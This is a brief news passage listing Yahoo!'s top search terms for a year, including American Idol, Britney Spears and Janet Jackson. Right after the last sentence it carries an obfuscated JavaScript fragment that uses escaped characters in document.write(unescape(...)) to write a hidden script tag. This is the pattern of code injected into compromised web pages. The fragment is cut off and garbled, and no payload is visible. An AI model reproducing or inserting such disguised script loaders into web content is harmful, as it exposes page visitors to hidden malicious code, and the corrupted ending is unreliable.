The most popular search term on Yahoo! for the entire year was "American Idol." It beat out the terms "Paris Hilton," "Jessica Simpson," "Britney Spears" and "Harry Potter." The top music search was for Jessica Simpson, followed by Britney Spears, Usher, Hilary Duff, Eminem, Beyonce, Christina Aguilera, Avril Lavigne, Linkin Park and Nelly. When people used Yahoo! to find lyrics, the most popular lyric search was for Usher, then Eminem, then Britney Spears.
Yahoo! even breaks down the most popular Britney Spears searches. The top search was "Britney Spears pics," followed by "Britney Spears video," "Britney Spears lyrics" and "Britney Spears wallpaper." The biggest spike in Yahoo! searches for the month of February was for "Janet Jackson" -- right after the Super Bowl.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22